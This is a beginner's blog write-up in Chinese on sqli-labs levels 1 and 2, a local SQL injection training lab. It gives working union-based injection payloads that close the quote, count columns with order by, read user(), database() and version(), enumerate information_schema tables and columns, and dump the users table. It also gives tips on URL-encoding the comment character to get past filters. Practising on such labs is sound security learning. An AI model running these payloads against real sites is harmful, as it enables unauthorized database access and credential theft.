sqli-labs第一二关(详细)

sqli-labs第一关(详细)

博主才接触这方面,若有任何建议请联系我,谢谢!
第二关属于数字型方法和第一关类似,就不再赘述了


开始

地址栏输入localhost:8080/sqli-labs_2/sqlilabs/Less-1/?id=1

id=1
然后判断数字型还是字符型,发现localhost:8080/sqli-labs_2/sqlilabs/Less-1/?id=1id=2-1返回不一样,并没有做减法。初步判断为字符型id=1a确定为字符型。
再根据提示单引号错误在id=1后面加一个单引号 id=1’然后就看到报错
报错
报错部分内容
黄色、绿色分别形成闭合,可以看到输入的红色参数被强制转化成了字符串,可以看到输入的红色单引号把黄色的第一个单引号闭合了,导致后面还剩了一个黄色单引号。我们可以采取闭合或者注释这两种办法。

现在来构造一下语句
select user,pwd from table where id=’参数’
注释:select user,pwd from table where id=’参数’%23’ #%23是#的URL编码
闭合:select user,pwd from table where id=’参数’and ‘1’=‘1
注释闭合
下面就可以开始注入了


首先有两种办法找到字段数
第一种union selectunion select

通过增加1,2,3,…… select 1,2,3最后发现在3的时候正确
select 1,2,3


第二种order by
order by
order by 通过增加1、2、3……order by 1order by 2……。直到4的时候报错4报错
没有找到第4个字段说明只有3个字段


由于有3个字段需要找到哪2个字段显示了出来
找显示字段
然而并没有按照预期显示出来,事实上MySQL查询出来了,我们需要把查询结果显示在第一行有很多办法,此处列举两种limit 1,1-1

两种方法
然后发现 select 1,2,3中的2,3显示了出来
接下来就可以查看数据库名、版本、用户等相关信息
查看用户user()
不过这样查询有点麻烦我们可以一起查询并放在一个字段显示

select 1,concat_ws(' ',user(),database(),version()),3%23 	
#使用函数concat_ws可以指定参数之间的间隔符号

芜湖
接着搞定表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23	
#group_concat()查询当前数据库所有表并用 “,”相隔放在一个字段里显示
#在MySQL5.0版本以后默认自带一个information_schema数据库,里面有所有数据库名、表名、字段名。

表名

注意:其中select 1, group_concat(table_name),3
select 1,2,group_concat(table_name) 一样只不过显示行数不同

一眼看见我们想要的user表,于是

union select 1,group_concat(column_name),3 from 
information_schema.columns where table_name='users' %23

看表字段
然后就可以弄到里面的数据了
user表数据

最后我不知道这算不算通关了。


总结:首先通过加减和数字字母组合判断是字符型还是数字型,通过题目提示“基于单引号的错误”,然后利用order byunion select确定字段个数,再从字段个数中判断那些字段是要显示的,于是就能够通过显示的字段查询information_schema库、表名、字段名以及通过可显示的字段查询数据库用户、版本、数据库名等等,最后通过查询表内的字段名,并且获取数据。


知识点:

concat(str1,str2,…) 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
contcat_ws(separator(分隔符),str1,str2,…)是CONCAT()的特殊形式。第一个参数是其它参数的分隔符
group_concat()通过","来分隔联合多行记录的函数


%23是#的URL编码 因为#和–+都是注释符都可以互相替换,如果用#报错,可能过滤了#,就先对#编码一次再来。
%20是空格的URL编码
%27是单引号的URL编码


user() 查看用户
database() 查看数据库名
version() 查看版本


关于information_schema数据库,它是MySQL v5.0以上版本,默认自带的一个拥有MySQL的数据库名、表名、字段名。
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值